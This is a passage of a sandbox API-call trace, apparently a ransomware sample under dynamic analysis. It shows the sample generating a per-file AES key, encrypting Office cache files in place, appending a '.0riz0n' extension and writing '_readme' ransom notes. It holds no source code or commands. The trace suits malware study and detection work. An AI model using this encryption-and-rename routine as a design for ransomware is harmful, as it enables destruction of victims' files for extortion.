nFileSizeLow=0x1e6600)) returned 1 [0242.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.443] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0242.443] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0242.443] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0242.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0242.443] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.444] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0242.444] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0242.444] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0242.444] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0242.444] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6600) returned 0x2340020 [0242.444] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0x1e6600, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0x1e6600, lpOverlapped=0x0) returned 1 [0242.510] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6600) returned 0x2530020 [0242.670] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2530020*, pdwDataLen=0x1a7faac*=0x1e6600, dwBufLen=0x1e6a00 | out: pbData=0x2530020*, pdwDataLen=0x1a7faac*=0x1e6610) returned 1 [0242.686] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1e6640) returned 0x2720020 [0242.790] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.790] NtClose (Handle=0x1c0) returned 0x0 [0242.790] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.0riz0n")) returned 1 [0242.790] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0242.791] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0242.791] GetLastError () returned 0x2 [0242.791] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9848c8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0242.791] GetLastError () returned 0x2 [0242.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.791] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.791] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0242.792] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0242.792] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.792] NtClose (Handle=0x1c0) returned 0x0 [0242.793] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0242.793] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0242.793] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0242.793] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2720020) returned 1 [0242.802] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0242.802] CryptDestroyKey (hKey=0x829d78) returned 1 [0242.802] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0242.802] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0242.802] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0242.802] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.802] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1 [0242.802] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.802] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0242.802] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0242.802] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0242.802] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0242.802] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0242.802] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.802] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1 [0242.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0242.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0242.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.803] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1 [0242.803] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.803] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0242.803] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0242.803] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.803] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0242.803] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0242.804] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.804] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0242.804] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0242.804] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0242.804] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0242.804] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10c0) returned 0xa58890 [0242.804] ReadFile (in: hFile=0x1c0, lpBuffer=0xa58890, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesRead=0x1a7fab0*=0x10b2, lpOverlapped=0x0) returned 1 [0242.809] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10c0) returned 0x1b19ee0 [0242.809] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x10b2, dwBufLen=0x14b2 | out: pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x10c0) returned 1 [0242.812] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.813] NtClose (Handle=0x1c0) returned 0x0 [0242.813] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.0riz0n")) returned 1 [0242.813] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0242.813] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0242.813] GetLastError () returned 0x2 [0242.814] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9848e8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0242.814] GetLastError () returned 0x2 [0242.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.815] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.815] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0242.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0242.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0242.816] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0242.816] NtClose (Handle=0x1c0) returned 0x0 [0242.816] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0242.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0242.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0242.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0242.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0242.816] CryptDestroyKey (hKey=0x829d78) returned 1 [0242.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0242.817] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0242.817] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0242.817] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.817] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1 [0242.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0242.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0242.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0242.818] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0242.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0242.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.818] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1 [0242.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0242.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0242.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.818] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1 [0242.818] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0242.818] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0242.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0242.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0242.819] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0242.819] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0242.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0242.819] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0242.819] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0242.819] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0242.819] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0242.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0242.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0242.819] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0242.820] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0242.820] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0242.820] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0243.586] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0243.887] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0243.940] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0243.940] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0244.358] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0244.452] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0244.452] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0244.633] FlushFileBuffers (hFile=0x1c0) returned 1 [0244.824] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0244.824] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0244.825] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0245.701] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) 